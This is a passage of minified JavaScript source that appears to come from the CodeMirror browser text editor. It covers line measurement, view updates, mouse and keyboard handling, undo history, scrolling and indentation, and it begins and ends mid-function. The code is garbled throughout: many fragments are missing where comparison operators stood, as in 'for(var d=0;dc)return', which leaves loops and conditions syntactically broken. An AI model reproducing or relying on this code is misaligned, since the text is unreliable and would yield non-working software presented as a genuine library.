d,e,f=a.doc,g=c?-1:b-(a.doc.mode.innerMode?1e3:100),h=b;h>g;--h){if(h<=f.first)return f.first;var i=vf(f,h-1);if(i.stateAfter&&(!c||h<=f.frontier))return h;var j=mg(i.text,null,a.options.tabSize);(null==e||d>j)&&(e=h-1,d=j)}return e}function Ub(a,b,c){var d=a.doc,e=a.display;if(!d.mode.startState)return!0;var f=Tb(a,b,c),g=f>d.first&&vf(d,f-1).stateAfter;return g=g?ee(d.mode,g):fe(d.mode),d.iter(f,b,function(c){_e(a,c.text,g);var h=f==b-1||0==f%5||f>=e.viewFrom&&f2&&f.push((i.bottom+j.top)/2-c.top)}}f.push(c.bottom-c.top)}}function Zb(a,b,c){if(a.line==b)return{map:a.measure.map,cache:a.measure.cache};for(var d=0;dc)return{map:a.measure.maps[d],cache:a.measure.caches[d],before:!0}}function $b(a,b){b=Le(b);var c=zf(b),d=a.display.externalMeasured=new Cc(a.doc,b,c);d.lineN=c;var e=d.built=df(a,d);return d.text=e.pre,Fg(a.display.lineMeasure,e.pre),d}function _b(a,b,c,d){return cc(a,bc(a,b),c,d)}function ac(a,b){if(b>=a.display.viewFrom&&b=c.lineN&&bc?(i=0,j=1,k="left"):n>c?(i=c-m,j=i+1):(l==f.length-3||c==n&&f[l+3]>c)&&(j=n-m,i=j-1,c>=n&&(k="right")),null!=i){if(h=f[l+2],m==n&&e==(h.insertLeft?"left":"right")&&(k=e),"left"==e&&0==i)for(;l&&f[l-2]==f[l-3]&&f[l-1].insertLeft;)h=f[(l-=3)+2],k="left";if("right"==e&&i==n-m)for(;lm+j&&Bg(b.line.text.charAt(m+j));)++j;if(d&&0==i&&j==n-m)o=h.parentNode.getBoundingClientRect();else if(g&&a.options.lineWrapping){var p=Dg(h,i,j).getClientRects();o=p.length?p["right"==e?p.length-1:0]:dc}else o=Dg(h,i,j).getBoundingClientRect()}else{i>0&&(k=e="right");var p;o=a.options.lineWrapping&&(p=h.getClientRects()).length>1?p["right"==e?p.length-1:0]:h.getBoundingClientRect()}if(d&&!i&&(!o||!o.left&&!o.right)){var q=h.parentNode.getClientRects()[0];o=q?{left:q.left,right:q.left+uc(a.display),top:q.top,bottom:q.bottom}:dc}for(var r,s=(o.bottom+o.top)/2-b.rect.top,t=b.view.measure.heights,l=0;lc.from?f(a-1):f(a,d)}d=d||vf(a.doc,b.line),e||(e=bc(a,d));var h=Cf(d),i=b.ch;if(!h)return f(i);var j=ah(h,i),k=g(i,j);return null!=_g&&(k.other=g(i,_g)),k}function oc(a,b){var c=0,b=wb(a.doc,b);a.options.lineWrapping||(c=uc(a.display)*b.ch);var d=vf(a.doc,b.line),e=Bf(d)+Vb(a.display);return{left:c,right:c,top:e,bottom:e+d.height}}function pc(a,b,c,d){var e=mb(a,b);return e.xRel=d,c&&(e.outside=!0),e}function qc(a,b,c){var d=a.doc;if(c+=a.display.viewOffset,0>c)return pc(d.first,0,!0,-1);var e=Af(d,c),f=d.first+d.size-1;if(e>f)return pc(d.first+d.size-1,vf(d,f).text.length,!0,1);0>b&&(b=0);for(var g=vf(d,e);;){var h=rc(a,g,e,b,c),i=Je(g),j=i&&i.find(0,!0);if(!i||!(h.ch>j.from.ch||h.ch==j.from.ch&&h.xRel>0))return h;e=zf(g=j.to.line)}}function rc(a,b,c,d,e){function j(d){var e=nc(a,mb(c,d),"line",b,i);return g=!0,f>e.bottom?e.left-h:fq)return pc(c,n,r,1);for(;;){if(k?n==m||n==ch(b,m,1):1>=n-m){for(var s=o>d||q-d>=d-o?m:n,t=d-(s==m?o:q);Bg(b.text.charAt(s));)++s;var u=pc(c,s,s==m?p:r,-1>t?-1:t>1?1:0);return u}var v=Math.ceil(l/2),w=m+v;if(k){w=m;for(var x=0;v>x;++x)w=ch(b,w,1)}var y=j(w);y>d?(n=w,q=y,(r=g)&&(q+=1e3),l=v):(m=w,o=y,p=g,l-=v)}}function tc(a){if(null!=a.cachedTextHeight)return a.cachedTextHeight;if(null==sc){sc=Cg("pre");for(var b=0;49>b;++b)sc.appendChild(document.createTextNode("x")),sc.appendChild(Cg("br"));sc.appendChild(document.createTextNode("x"))}Fg(a.measure,sc);var c=sc.offsetHeight/50;return c>3&&(a.cachedTextHeight=c),Eg(a.measure),c||1}function uc(a){if(null!=a.cachedCharWidth)return a.cachedCharWidth;var b=Cg("span","xxxxxxxxxx"),c=Cg("pre",[b]);Fg(a.measure,c);var d=b.getBoundingClientRect(),e=(d.right-d.left)/10;return e>2&&(a.cachedCharWidth=e),e||10}function wc(a){a.curOp={viewChanged:!1,startHeight:a.doc.height,forceUpdate:!1,updateInput:null,typing:!1,changeObjs:null,cursorActivity:!1,selectionChanged:!1,updateMaxLine:!1,scrollLeft:null,scrollTop:null,scrollToPos:null,id:++vc},ag++||(_f=[])}function xc(a){var b=a.curOp,c=a.doc,d=a.display;if(a.curOp=null,b.updateMaxLine&&L(a),b.viewChanged||b.forceUpdate||null!=b.scrollTop||b.scrollToPos&&(b.scrollToPos.from.line=d.viewTo)||d.maxLineChanged&&a.options.lineWrapping){var e=U(a,{top:b.scrollTop,ensure:b.scrollToPos},b.forceUpdate);a.display.scroller.offsetHeight&&(a.doc.scrollTop=a.display.scroller.scrollTop)}if(!e&&b.selectionChanged&&Nb(a),e||b.startHeight==a.doc.height||O(a),null!=b.scrollTop&&d.scroller.scrollTop!=b.scrollTop){var f=Math.max(0,Math.min(d.scroller.scrollHeight-d.scroller.clientHeight,b.scrollTop));d.scroller.scrollTop=d.scrollbarV.scrollTop=c.scrollTop=f}if(null!=b.scrollLeft&&d.scroller.scrollLeft!=b.scrollLeft){var g=Math.max(0,Math.min(d.scroller.scrollWidth-d.scroller.clientWidth,b.scrollLeft));d.scroller.scrollLeft=d.scrollbarH.scrollLeft=c.scrollLeft=g,Q(a)}if(b.scrollToPos){var h=Ld(a,wb(a.doc,b.scrollToPos.from),wb(a.doc,b.scrollToPos.to),b.scrollToPos.margin);b.scrollToPos.isCursor&&a.state.focused&&Kd(a,h)}b.selectionChanged&&Qb(a),a.state.focused&&b.updateInput&&Oc(a,b.typing);var i=b.maybeHiddenMarkers,j=b.maybeUnhiddenMarkers;if(i)for(var k=0;kf;f=e){var g=new Cc(a.doc,vf(a.doc,f),f);e=f+g.size,d.push(g)}return d}function Ec(a,b,c,d){null==b&&(b=a.doc.first),null==c&&(c=a.doc.first+a.doc.size),d||(d=0);var e=a.display; if(d&&cb)&&(e.updateLineNumbers=b),a.curOp.viewChanged=!0,b>=e.viewTo)y&&Ne(a.doc,b)e.viewFrom?Gc(a):(e.viewFrom+=d,e.viewTo+=d);else if(b<=e.viewFrom&&c>=e.viewTo)Gc(a);else if(b<=e.viewFrom){var f=Ic(a,c,c+d,1);f?(e.view=e.view.slice(f.index),e.viewFrom=f.lineN,e.viewTo+=d):Gc(a)}else if(c>=e.viewTo){var f=Ic(a,b,b,-1);f?(e.view=e.view.slice(0,f.index),e.viewTo=f.lineN):Gc(a)}else{var g=Ic(a,b,b,-1),h=Ic(a,c,c+d,1);g&&h?(e.view=e.view.slice(0,g.index).concat(Dc(a,g.lineN,h.lineN)).concat(e.view.slice(h.index)),e.viewTo+=d):Gc(a)}var i=e.externalMeasured;i&&(c=e.lineN&&b=d.viewTo)){var f=d.view[Hc(a,b)];if(null!=f.node){var g=f.changes||(f.changes=[]);-1==sg(g,c)&&g.push(c)}}}function Gc(a){a.display.viewFrom=a.display.viewTo=a.doc.first,a.display.view=[],a.display.viewOffset=0}function Hc(a,b){if(b>=a.display.viewTo)return null;if(b-=a.display.viewFrom,0>b)return null;for(var c=a.display.view,d=0;db)return d}function Ic(a,b,c,d){var f,e=Hc(a,b),g=a.display.view;if(!y)return{index:e,lineN:c};for(var h=0,i=a.display.viewFrom;e>h;h++)i+=g[h].size;if(i!=b){if(d>0){if(e==g.length-1)return null;f=i+g[e].size-b,e++}else f=i-b;b+=f,c+=f}for(;Ne(a.doc,c)!=c;){if(e==(0>d?0:g.length-1))return null;c+=d*g[e-(0>d?1:0)].size,e+=d}return{index:e,lineN:c}}function Jc(a,b,c){var d=a.display,e=d.view;0==e.length||b>=d.viewTo||c<=d.viewFrom?(d.view=Dc(a,b,c),d.viewFrom=b):(d.viewFrom>b?d.view=Dc(a,b,d.viewFrom).concat(d.view):d.viewFromc&&(d.view=d.view.slice(0,Hc(a,c)))),d.viewTo=c}function Kc(a){for(var b=a.display.view,c=0,d=0;di&&c.charCodeAt(i)==f.charCodeAt(i);)++i;for(var k=f.slice(i),l=Pg(k),m=a.state.pasteIncoming&&l.length>1&&e.sel.ranges.length==l.length,n=e.sel.ranges.length-1;n>=0;n--){var o=e.sel.ranges[n],p=o.from(),q=o.to();i-1){Rd(a,o.head.line,"smart");break}}}return Pd(a),a.curOp.updateInput=r,a.curOp.typing=!0,f.length>1e3||f.indexOf("\n")>-1?b.value=a.display.prevInput="":a.display.prevInput=f,h&&xc(a),a.state.pasteIncoming=a.state.cutIncoming=!1,!0}function Oc(a,b){var c,e,f=a.doc;if(a.somethingSelected()){a.display.prevInput="";var h=f.sel.primary();c=Rg&&(h.to().line-h.from().line>100||(e=a.getSelection()).length>1e3);var i=c?"-":e||a.getSelection();a.display.input.value=i,a.state.focused&&rg(a.display.input),g&&!d&&(a.display.inputHasSelection=i)}else b||(a.display.prevInput=a.display.input.value="",g&&!d&&(a.display.inputHasSelection=null));a.display.inaccurateSelection=c}function Pc(a){"nocursor"==a.options.readOnly||r&&Hg()==a.display.input||a.display.input.focus()}function Qc(a){a.state.focused||(Pc(a),sd(a))}function Rc(a){return a.options.readOnly||a.doc.cantEdit}function Sc(a){function e(){a.state.focused&&setTimeout(wg(Pc,a),0)}function h(){null==f&&(f=setTimeout(function(){f=null,c.cachedCharWidth=c.cachedTextHeight=c.cachedPaddingH=Jg=null,a.setSize()},100))}function i(){Gg(document.body,c.wrapper)?setTimeout(i,5e3):Zf(window,"resize",h)}function j(b){dg(a,b)||Vf(b)}function k(b){c.inaccurateSelection&&(c.prevInput="",c.inaccurateSelection=!1,c.input.value=a.getSelection(),rg(c.input)),"cut"==b.type&&(a.state.cutIncoming=!0)}var c=a.display;Yf(c.scroller,"mousedown",zc(a,Vc)),b?Yf(c.scroller,"dblclick",zc(a,function(b){if(!dg(a,b)){var c=Uc(a,b);if(c&&!ad(a,b)&&!Tc(a.display,b)){Sf(b);var d=Wd(a.doc,c);Bb(a.doc,d.anchor,d.head)}}})):Yf(c.scroller,"dblclick",function(b){dg(a,b)||Sf(b)}),Yf(c.lineSpace,"selectstart",function(a){Tc(c,a)||Sf(a)}),w||Yf(c.scroller,"contextmenu",function(b){vd(a,b)}),Yf(c.scroller,"scroll",function(){c.scroller.clientHeight&&(ed(a,c.scroller.scrollTop),fd(a,c.scroller.scrollLeft,!0),$f(a,"scroll",a))}),Yf(c.scrollbarV,"scroll",function(){c.scroller.clientHeight&&ed(a,c.scrollbarV.scrollTop)}),Yf(c.scrollbarH,"scroll",function(){c.scroller.clientHeight&&fd(a,c.scrollbarH.scrollLeft)}),Yf(c.scroller,"mousewheel",function(b){id(a,b)}),Yf(c.scroller,"DOMMouseScroll",function(b){id(a,b)}),Yf(c.scrollbarH,"mousedown",e),Yf(c.scrollbarV,"mousedown",e),Yf(c.wrapper,"scroll",function(){c.wrapper.scrollTop=c.wrapper.scrollLeft=0});var f;Yf(window,"resize",h),setTimeout(i,5e3),Yf(c.input,"keyup",zc(a,qd)),Yf(c.input,"input",function(){g&&!d&&a.display.inputHasSelection&&(a.display.inputHasSelection=null),Mc(a)}),Yf(c.input,"keydown",zc(a,pd)),Yf(c.input,"keypress",zc(a,rd)),Yf(c.input,"focus",wg(sd,a)),Yf(c.input,"blur",wg(td,a)),a.options.dragDrop&&(Yf(c.scroller,"dragstart",function(b){dd(a,b)}),Yf(c.scroller,"dragenter",j),Yf(c.scroller,"dragover",j),Yf(c.scroller,"drop",zc(a,cd))),Yf(c.scroller,"paste",function(b){Tc(c,b)||(a.state.pasteIncoming=!0,Pc(a),Mc(a))}),Yf(c.input,"paste",function(){a.state.pasteIncoming=!0,Mc(a)}),Yf(c.input,"cut",k),Yf(c.input,"copy",k),m&&Yf(c.sizer,"mouseup",function(){Hg()==c.input&&c.input.blur(),Pc(a)})}function Tc(a,b){for(var c=Wf(b);c!=a.wrapper;c=c.parentNode)if(!c||c.ignoreEvents||c.parentNode==a.sizer&&c!=a.mover)return!0}function Uc(a,b,c,d){var e=a.display;if(!c){var f=Wf(b);if(f==e.scrollbarH||f==e.scrollbarV||f==e.scrollbarFiller||f==e.gutterFiller)return null}var g,h,i=e.lineSpace.getBoundingClientRect();try{g=b.clientX-i.left,h=b.clientY-i.top}catch(b){return null}var k,j=qc(a,g,h);if(d&&1==j.xRel&&(k=vf(a.doc,j.line).text).length==j.ch){var l=mg(k,k.length,a.options.tabSize)-k.length;j=mb(j.line,Math.round((g-Xb(a.display).left)/uc(a.display))-l)}return j}function Vc(a){if(!dg(this,a)){var b=this,c=b.display;if(c.shift=a.shiftKey,Tc(c,a))return h||(c.scroller.draggable=!1,setTimeout(function(){c.scroller.draggable=!0},100)),void 0;if(!ad(b,a)){var d=Uc(b,a);switch(window.focus(),Xf(a)){case 1:d?Yc(b,a,d):Wf(a)==c.scroller&&Sf(a);break;case 2:h&&(b.state.lastMiddleDown=+new Date),d&&Bb(b.doc,d),setTimeout(wg(Pc,b),20),Sf(a);break;case 3:w&&vd(b,a)}}}}function Yc(a,b,c){setTimeout(wg(Qc,a),0);var e,d=+new Date;Xc&&Xc.time>d-400&&0==nb(Xc.pos,c)?e="triple":Wc&&Wc.time>d-400&&0==nb(Wc.pos,c)?(e="double",Xc={time:d,pos:c}):(e="single",Wc={time:d,pos:c});var f=a.doc.sel,g=s?b.metaKey:b.ctrlKey;a.options.dragDrop&&Ig&&!g&&!Rc(a)&&"single"==e&&f.contains(c)>-1&&f.somethingSelected()?Zc(a,b,c):$c(a,b,c,e,g)}function Zc(a,c,e){var f=a.display,g=zc(a,function(i){h&&(f.scroller.draggable=!1),a.state.draggingText=!1,Zf(document,"mouseup",g),Zf(f.scroller,"drop",g),Math.abs(c.clientX-i.clientX)+Math.abs(c.clientY-i.clientY)<10&&(Sf(i),Bb(a.doc,e),Pc(a),b&&!d&&setTimeout(function(){document.body.focus(),Pc(a)},20))});h&&(f.scroller.draggable=!0),a.state.draggingText=g,f.scroller.dragDrop&&f.scroller.dragDrop(),Yf(document,"mouseup",g),Yf(f.scroller,"drop",g)}function $c(a,b,c,d,f){function p(b){if(0!=nb(o,b))if(o=b,"rect"==d){for(var e=[],f=a.options.tabSize,g=mg(vf(i,c.line).text,c.ch,f),h=mg(vf(i,b.line).text,b.ch,f),m=Math.min(g,h),n=Math.max(g,h),p=Math.min(c.line,b.line),q=Math.min(a.lastLine(),Math.max(c.line,b.line));q>=p;p++){var r=vf(i,p).text,s=ng(r,m,f);m==n?e.push(new sb(mb(p,s),mb(p,s))):r.length>s&&e.push(new sb(mb(p,s),mb(p,ng(r,n,f))))}e.length||e.push(new sb(c,c)),Hb(i,tb(l.ranges.slice(0,k).concat(e),k),jg)}else{var t=j,u=t.anchor,v=b;if("single"!=d){if("double"==d)var w=Wd(i,b);else var w=new sb(mb(b.line,0),wb(i,mb(b.line+1,0)));nb(w.anchor,u)>0?(v=w.head,u=qb(t.from(),w.anchor)):(v=w.anchor,u=pb(t.to(),w.head))}var e=l.ranges.slice(0);e[k]=new sb(wb(i,u),v),Hb(i,tb(e,k),jg)}}function s(b){var c=++r,e=Uc(a,b,!0,"rect"==d);if(e)if(0!=nb(e,o)){Qc(a),p(e);var f=P(h,i);(e.line>=f.to||e.lineq.bottom?20:0;g&&setTimeout(zc(a,function(){r==c&&(h.scroller.scrollTop+=g,s(b))}),50)}}function t(b){r=1/0,Sf(b),Pc(a),Zf(document,"mousemove",u),Zf(document,"mouseup",v),i.history.lastSelOrigin=null}var h=a.display,i=a.doc;Sf(b);var j,k,l=i.sel;if(f?(k=i.sel.contains(c),j=k>-1?i.sel.ranges[k]:new sb(c,c)):j=i.sel.primary(),b.altKey)d="rect",f||(j=new sb(c,c)),c=Uc(a,b,!0,!0),k=-1;else if("double"==d){var m=Wd(i,c);j=a.display.shift||i.extend?Ab(i,j,m.anchor,m.head):m}else if("triple"==d){var n=new sb(mb(c.line,0),wb(i,mb(c.line+1,0)));j=a.display.shift||i.extend?Ab(i,j,n.anchor,n.head):n}else j=Ab(i,j,c);f?k>-1?Db(i,k,j,jg):(k=i.sel.ranges.length,Hb(i,tb(i.sel.ranges.concat([j]),k),{scroll:!1,origin:"*mouse"})):(k=0,Hb(i,new rb([j],0),jg));var o=c,q=h.wrapper.getBoundingClientRect(),r=0,u=zc(a,function(a){(g&&!e?a.buttons:Xf(a))?s(a):t(a)}),v=zc(a,t);Yf(document,"mousemove",u),Yf(document,"mouseup",v)}function _c(a,b,c,d,e){try{var f=b.clientX,g=b.clientY}catch(b){return!1}if(f>=Math.floor(a.display.gutters.getBoundingClientRect().right))return!1;d&&Sf(b);var h=a.display,i=h.lineDiv.getBoundingClientRect();if(g>i.bottom||!eg(a,c))return Uf(b);g-=i.top-h.viewOffset;for(var j=0;j=f){var l=Af(a.doc,g),m=a.options.gutters[j];return e(a,c,a,l,m,b),Uf(b)}}}function ad(a,b){return _c(a,b,"gutterClick",!0,bg)}function cd(a){var c=this;if(!dg(c,a)&&!Tc(c.display,a)){Sf(a),b&&(bd=+new Date);var d=Uc(c,a,!0),e=a.dataTransfer.files;if(d&&!Rc(c))if(e&&e.length&&window.FileReader&&window.File)for(var f=e.length,g=Array(f),h=0,i=function(a,b){var e=new FileReader;e.onload=function(){if(g[b]=e.result,++h==f){d=wb(c.doc,d);var a={from:d,to:d,text:Pg(g.join("\n")),origin:"paste"};Dd(c.doc,a),Gb(c.doc,ub(d,xd(a)))}},e.readAsText(a)},j=0;f>j;++j)i(e[j],j);else{if(c.state.draggingText&&c.doc.sel.contains(d)>-1)return c.state.draggingText(a),setTimeout(wg(Pc,c),20),void 0;try{var g=a.dataTransfer.getData("Text");if(g){var k=c.state.draggingText&&c.listSelections();if(Ib(c.doc,ub(d,d)),k)for(var j=0;jg.clientWidth||e&&g.scrollHeight>g.clientHeight){if(e&&s&&h)a:for(var i=c.target,j=f.view;i!=g;i=i.parentNode)for(var l=0;lm?n=Math.max(0,n+m-50):o=Math.min(b.doc.height,o+m+50),U(b,{top:n,bottom:o})}20>gd&&(null==f.wheelStartX?(f.wheelStartX=g.scrollLeft,f.wheelStartY=g.scrollTop,f.wheelDX=d,f.wheelDY=e,setTimeout(function(){if(null!=f.wheelStartX){var a=g.scrollLeft-f.wheelStartX,b=g.scrollTop-f.wheelStartY,c=b&&f.wheelDY&&b/f.wheelDY||a&&f.wheelDX&&a/f.wheelDX;f.wheelStartX=f.wheelStartY=null,c&&(hd=(hd*gd+c)/(gd+1),++gd)}},200)):(f.wheelDX+=d,f.wheelDY+=e))}}function jd(a,b,c){if("string"==typeof b&&(b=ge[b],!b))return!1;a.display.pollingFast&&Nc(a)&&(a.display.pollingFast=!1);var d=a.display.shift,e=!1;try{Rc(a)&&(a.state.suppressEdits=!0),c&&(a.display.shift=!1),e=b(a)!=hg}finally{a.display.shift=d,a.state.suppressEdits=!1}return e}function kd(a){var b=a.state.keyMaps.slice(0);return a.options.extraKeys&&b.push(a.options.extraKeys),b.push(a.options.keyMap),b}function md(a,b){var c=ie(a.options.keyMap),d=c.auto;clearTimeout(ld),d&&!ke(b)&&(ld=setTimeout(function(){ie(a.options.keyMap)==c&&(a.options.keyMap=d.call?d.call(null,a):d,G(a))},50));var e=le(b,!0),f=!1;if(!e)return!1;var g=kd(a);return f=b.shiftKey?je("Shift-"+e,g,function(b){return jd(a,b,!0)})||je(e,g,function(b){return("string"==typeof b?/^go[A-Z]/.test(b):b.motion)?jd(a,b):void 0}):je(e,g,function(b){return jd(a,b)}),f&&(Sf(b),Qb(a),bg(a,"keyHandled",a,e,b)),f}function nd(a,b,c){var d=je("'"+c+"'",kd(a),function(b){return jd(a,b,!0)});return d&&(Sf(b),Qb(a),bg(a,"keyHandled",a,"'"+c+"'",b)),d}function pd(a){var c=this;if(Qc(c),!dg(c,a)){b&&27==a.keyCode&&(a.returnValue=!1);var d=a.keyCode;c.display.shift=16==d||a.shiftKey;var e=md(c,a);k&&(od=e?d:null,!e&&88==d&&!Rg&&(s?a.metaKey:a.ctrlKey)&&c.replaceSelection("",null,"cut"))}}function qd(a){dg(this,a)||16==a.keyCode&&(this.doc.sel.shift=!1)}function rd(a){var b=this;if(!dg(b,a)){var c=a.keyCode,e=a.charCode;if(k&&c==od)return od=null,Sf(a),void 0;if(!(k&&(!a.which||a.which<10)||m)||!md(b,a)){var f=String.fromCharCode(null==e?c:e);nd(b,a,f)||(g&&!d&&(b.display.inputHasSelection=null),Mc(b))}}}function sd(a){"nocursor"!=a.options.readOnly&&(a.state.focused||($f(a,"focus",a),a.state.focused=!0,-1==a.display.wrapper.className.search(/\bCodeMirror-focused\b/)&&(a.display.wrapper.className+=" CodeMirror-focused"),a.curOp||(Oc(a),h&&setTimeout(wg(Oc,a,!0),0))),Lc(a),Qb(a))}function td(a){a.state.focused&&($f(a,"blur",a),a.state.focused=!1,a.display.wrapper.className=a.display.wrapper.className.replace(" CodeMirror-focused","")),clearInterval(a.display.blinker),setTimeout(function(){a.state.focused||(a.display.shift=!1)},150)}function vd(a,b){function j(){if(null!=c.input.selectionStart){var b=c.input.value="\u200b"+(a.somethingSelected()?c.input.value:"");c.prevInput="\u200b",c.input.selectionStart=1,c.input.selectionEnd=b.length}}function l(){if(c.inputDiv.style.position="relative",c.input.style.cssText=i,d&&(c.scrollbarV.scrollTop=c.scroller.scrollTop=f),Lc(a),null!=c.input.selectionStart){(!g||d)&&j(),clearTimeout(ud);var b=0,e=function(){"\u200b"==c.prevInput&&0==c.input.selectionStart?zc(a,ge.selectAll)(a):b++<10?ud=setTimeout(e,500):Oc(a)};ud=setTimeout(e,200)}}if(!dg(a,b,"contextmenu")){var c=a.display;if(!Tc(c,b)&&!wd(a,b)){var e=Uc(a,b),f=c.scroller.scrollTop;if(e&&!k){var h=a.options.resetSelectionOnContextMenu;h&&-1==a.doc.sel.contains(e)&&zc(a,Hb)(a.doc,ub(e),ig);var i=c.input.style.cssText;if(c.inputDiv.style.position="absolute",c.input.style.cssText="position: fixed; width: 30px; height: 30px; top: "+(b.clientY-5)+"px; left: "+(b.clientX-5)+"px; z-index: 1000; background: "+(g?"rgba(255, 255, 255, .05)":"transparent")+"; outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);",Pc(a),Oc(a),a.somethingSelected()||(c.input.value=c.prevInput=" "),g&&!d&&j(),w){Vf(b);var m=function(){Zf(window,"mouseup",m),setTimeout(l,20)};Yf(window,"mouseup",m)}else setTimeout(l,50)}}}}function wd(a,b){return eg(a,"gutterContextMenu")?_c(a,b,"gutterContextMenu",!1,$f):!1}function yd(a,b){if(nb(a,b.from)<0)return a;if(nb(a,b.to)<=0)return xd(b);var c=a.line+b.text.length-(b.to.line-b.from.line)-1,d=a.ch;return a.line==b.to.line&&(d+=xd(b).ch-b.to.ch),mb(c,d)}function zd(a,b){for(var c=[],d=0;d=0;--e)Ed(a,{from:d[e].from,to:d[e].to,text:e?[""]:b.text});else Ed(a,b)}}function Ed(a,b){if(1!=b.text.length||""!=b.text[0]||0!=nb(b.from,b.to)){var c=zd(a,b);Hf(a,b,c,a.cm?a.cm.curOp.id:0/0),Hd(a,b,c,ye(a,b));var d=[];tf(a,function(a,c){c||-1!=sg(d,a.history)||(Rf(a.history,b),d.push(a.history)),Hd(a,b,null,ye(a,b))})}}function Fd(a,b,c){if(!a.cm||!a.cm.state.suppressEdits){for(var e,d=a.history,f=a.sel,g="undo"==b?d.done:d.undone,h="undo"==b?d.undone:d.done,i=0;i=0;--i){var l=e.changes[i];if(l.origin=b,k&&!Cd(a,l,!1))return g.length=0,void 0;j.push(Ef(a,l));var m=i?zd(a,l,null):qg(g);Hd(a,l,m,Ae(a,l)),a.cm&&Pd(a.cm);var n=[];tf(a,function(a,b){b||-1!=sg(n,a.history)||(Rf(a.history,l),n.push(a.history)),Hd(a,l,null,Ae(a,l))})}}}}function Gd(a,b){a.first+=b,a.sel=new rb(tg(a.sel.ranges,function(a){return new sb(mb(a.anchor.line+b,a.anchor.ch),mb(a.head.line+b,a.head.ch))}),a.sel.primIndex),a.cm&&Ec(a.cm,a.first,a.first-b,b)}function Hd(a,b,c,d){if(a.cm&&!a.cm.curOp)return zc(a.cm,Hd)(a,b,c,d);if(b.to.linea.lastLine())){if(b.from.linef&&(b={from:b.from,to:mb(f,vf(a,f).text.length),text:[b.text[0]],origin:b.origin}),b.removed=wf(a,b.from,b.to),c||(c=zd(a,b,null)),a.cm?Id(a.cm,b,d):mf(a,b,d),Ib(a,c,ig)}}function Id(a,b,c){var d=a.doc,e=a.display,f=b.from,g=b.to,h=!1,i=f.line;a.options.lineWrapping||(i=zf(Le(vf(d,f.line))),d.iter(i,g.line+1,function(a){return a==e.maxLine?(h=!0,!0):void 0})),d.sel.contains(b.from,b.to)>-1&&(a.curOp.cursorActivity=!0),mf(d,b,c,E(a)),a.options.lineWrapping||(d.iter(i,f.line+b.text.length,function(a){var b=K(a);b>e.maxLineLength&&(e.maxLine=a,e.maxLineLength=b,e.maxLineChanged=!0,h=!1)}),h&&(a.curOp.updateMaxLine=!0)),d.frontier=Math.min(d.frontier,f.line),Rb(a,400);var j=b.text.length-(g.line-f.line)-1;f.line!=g.line||1!=b.text.length||lf(a.doc,b)?Ec(a,f.line,g.line+1,j):Fc(a,f.line,"text"),(eg(a,"change")||eg(a,"changes"))&&(a.curOp.changeObjs||(a.curOp.changeObjs=[])).push({from:f,to:g,text:b.text,removed:b.removed,origin:b.origin})}function Jd(a,b,c,d,e){if(d||(d=c),nb(d,c)<0){var f=d;d=c,c=f}"string"==typeof b&&(b=Pg(b)),Dd(a,{from:c,to:d,text:b,origin:e})}function Kd(a,b){var c=a.display,d=c.sizer.getBoundingClientRect(),e=null;if(b.top+d.top<0?e=!0:b.bottom+d.top>(window.innerHeight||document.documentElement.clientHeight)&&(e=!1),null!=e&&!p){var f=Cg("div","\u200b",null,"position: absolute; top: "+(b.top-c.viewOffset-Vb(a.display))+"px; height: "+(b.bottom-b.top+gg)+"px; left: "+b.left+"px; width: 2px;");a.display.lineSpace.appendChild(f),f.scrollIntoView(e),a.display.lineSpace.removeChild(f)}}function Ld(a,b,c,d){for(null==d&&(d=0);;){var e=!1,f=nc(a,b),g=c&&c!=b?nc(a,c):f,h=Nd(a,Math.min(f.left,g.left),Math.min(f.top,g.top)-d,Math.max(f.left,g.left),Math.max(f.bottom,g.bottom)+d),i=a.doc.scrollTop,j=a.doc.scrollLeft;if(null!=h.scrollTop&&(ed(a,h.scrollTop),Math.abs(a.doc.scrollTop-i)>1&&(e=!0)),null!=h.scrollLeft&&(fd(a,h.scrollLeft),Math.abs(a.doc.scrollLeft-j)>1&&(e=!0)),!e)return f}}function Md(a,b,c,d,e){var f=Nd(a,b,c,d,e);null!=f.scrollTop&&ed(a,f.scrollTop),null!=f.scrollLeft&&fd(a,f.scrollLeft)}function Nd(a,b,c,d,e){var f=a.display,g=tc(a.display);0>c&&(c=0);var h=a.curOp&&null!=a.curOp.scrollTop?a.curOp.scrollTop:f.scroller.scrollTop,i=f.scroller.clientHeight-gg,j={},k=a.doc.height+Wb(f),l=g>c,m=e>k-g;if(h>c)j.scrollTop=l?0:c;else if(e>h+i){var n=Math.min(c,(m?k:e)-i);n!=h&&(j.scrollTop=n)}var o=a.curOp&&null!=a.curOp.scrollLeft?a.curOp.scrollLeft:f.scroller.scrollLeft,p=f.scroller.clientWidth-gg;b+=f.gutters.offsetWidth,d+=f.gutters.offsetWidth;var q=f.gutters.offsetWidth,r=q+10>b;return o+q>b||r?(r&&(b=0),j.scrollLeft=Math.max(0,b-10-q)):d>p+o-3&&(j.scrollLeft=d+10-p),j}function Od(a,b,c){(null!=b||null!=c)&&Qd(a),null!=b&&(a.curOp.scrollLeft=(null==a.curOp.scrollLeft?a.doc.scrollLeft:a.curOp.scrollLeft)+b),null!=c&&(a.curOp.scrollTop=(null==a.curOp.scrollTop?a.doc.scrollTop:a.curOp.scrollTop)+c)}function Pd(a){Qd(a);var b=a.getCursor(),c=b,d=b;a.options.lineWrapping||(c=b.ch?mb(b.line,b.ch-1):b,d=mb(b.line,b.ch+1)),a.curOp.scrollToPos={from:c,to:d,margin:a.options.cursorScrollMargin,isCursor:!0}}function Qd(a){var b=a.curOp.scrollToPos;if(b){a.curOp.scrollToPos=null;var c=oc(a,b.from),d=oc(a,b.to),e=Nd(a,Math.min(c.left,d.left),Math.min(c.top,d.top)-b.margin,Math.max(c.right,d.right),Math.max(c.bottom,d.bottom)+b.margin);a.scrollTo(e.scrollLeft,e.scrollTop)}}function Rd(a,b,c,d){var f,e=a.doc;null==c&&(c="add"),"smart"==c&&(a.doc.mode.indent?f=Ub(a,b):c="prev");var g=a.options.tabSize,h=vf(e,b),i=mg(h.text,null,g);h.stateAfter&&(h.stateAfter=null);var k,j=h.text.match(/^\s*/)[0];if(d||/\S/.test(h.text)){if("smart"==c&&(k=a.doc.mode.indent(f,h.text.slice(j.length),h.text),k==hg)){if(!d)return;c="prev"}}else k=0,c="not";"prev"==c?k=b>e.first?mg(vf(e,b-1).text,null,g):0:"add"==c?k=i+a.options.indentUnit:"subtract"==c?k=i-a.options.indentUnit:"number"==typeof c&&(k=i+c),k=Math.max(0,k);var l="",m=0;if(a.options.indentWithTabs)for(var n=Math.floor(k/g);n;--n)m+=g,l+=" 